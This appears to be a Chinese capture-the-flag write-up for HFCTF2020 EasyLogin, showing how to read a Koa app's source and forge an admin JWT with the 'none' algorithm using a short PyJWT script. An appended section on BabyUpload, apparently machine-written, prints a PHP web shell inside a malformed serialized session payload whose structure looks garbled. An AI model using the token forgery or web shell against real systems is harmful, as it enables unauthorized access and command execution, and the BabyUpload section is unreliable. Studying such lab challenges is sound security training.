[HFCTF2020]EasyLogin 1

打开题目是一个登录框

查看页面源代码,发现app.js中显示,访问/api/flag,如果成功,则把flag的值以username的形式返回出来

访问后显示权限不够被拒绝

app.js中还有一个提示

发现koa-static是在构建Web应用时,提供静态资源(如HTML、CSS和JavaScript文件)是必不可少的一部分。 Koa-static正是为此目的而设计的,它是一个简洁且强大的Koa框架静态文件服务中间件,使得处理静态文件变得轻而易举。

koa的框架结构

controllers 项目控制器目录接受请求处理逻辑

DataBase 保存数据库封装的CRUD操作方法

models文件夹 对应的数据库表结构

config文件夹 项目路由文件夹

app.js 入口文件

可以看到controllers 是项目控制器目录接受请求处理逻辑的,访问一下controllers/api.js

可以看到无法创建admin账户,创建会报错

但是下面一段又显示不是admin账户无法访问flag

所以我们只能伪造admin账户,抓包和源码中都出现了jwt

Jwt的格式为前两段是base64,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:JSON Web Tokens - jwt.io

需要一个脚本,去解密第三部分

import jwt #需要下载,pip3 install PyJWT

token = jwt.encode(

{

 "secretid": [], #让"secretid"为空,他的加密算法就为空,所以那个加密就废了,也算是绕过jwt的一种方式

 "username": "admin", #伪造对象

 "password": "123",

 "iat": 1726371956 #对应自己解码出来的iat

},

algorithm = "none", key="")

print(token)

利用脚本生成的jwt

然后改包发送,箭头指的地方有用需要保存

然后使用随便注册的账号登录获取下flag,把原包中的改成上一步的就可以获得flag了

### HFCTF2020 BabyUpload Challenge Writeup 对于HFCTF2020中的BabyUpload挑战,该题目设计围绕着Web应用安全展开。由于此题不存在任何会话(session)复制的风险点,攻击者可以考虑通过上传特定构造的`sess_xxxxxxxx`文件来覆盖已有的会话文件[^2]。 #### 利用PHP Session机制实现漏洞利用 在PHP环境中,当应用程序允许用户控制部分输入并将其存储于session数据中时,则可能存在安全隐患。如果能够找到一种方法绕过常规的文件上传限制并将恶意创建的`.php`脚本作为合法的session文件提交给服务器端处理路径下,那么就有可能执行任意代码。 具体到BabyUpload这个案例里: - 攻击面在于可被操控的文件名以及内容; - 关键在于理解如何巧妙地构造payload使得其既能满足服务端验证逻辑又能成功触发预期之外的行为; 为了达成目标,参与者通常需要深入研究目标平台使用的框架版本及其默认配置细节,寻找可能存在的弱点或未公开特性加以利用。 ```python # Python伪代码展示概念性的Payload构建过程 import base64 def create_malicious_session_data(): payload = "<?php system($_GET['cmd']); ?>" encoded_payload = base64.b64encode(payload.encode()).decode() session_content = f"_SESSION[a]=O:8:\"stdClass\":1:{{s:4:\"data\";C:7:\"Closure\":35:{{ s:7:\"handler\";a:3:{{i:0;i:1;i:1;s:9:\"eval(base64_decode('{encoded_payload}'));\";i:2;i:3;}} }}}}" with open('sess_babyupload', 'w') as file: file.write(session_content) create_malicious_session_data() ``` 上述Python代码片段仅用于说明目的,并不构成实际可用的exploit工具。它展示了怎样编码一个简单的反序列化对象注入payload,其中包含了base64加密后的命令执行字符串。 一旦这样的特殊格式化的session文件被放置到了适当的位置并且由易受攻击的应用程序加载之后,就可以远程指令服务器运行指定的操作系统级命令了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值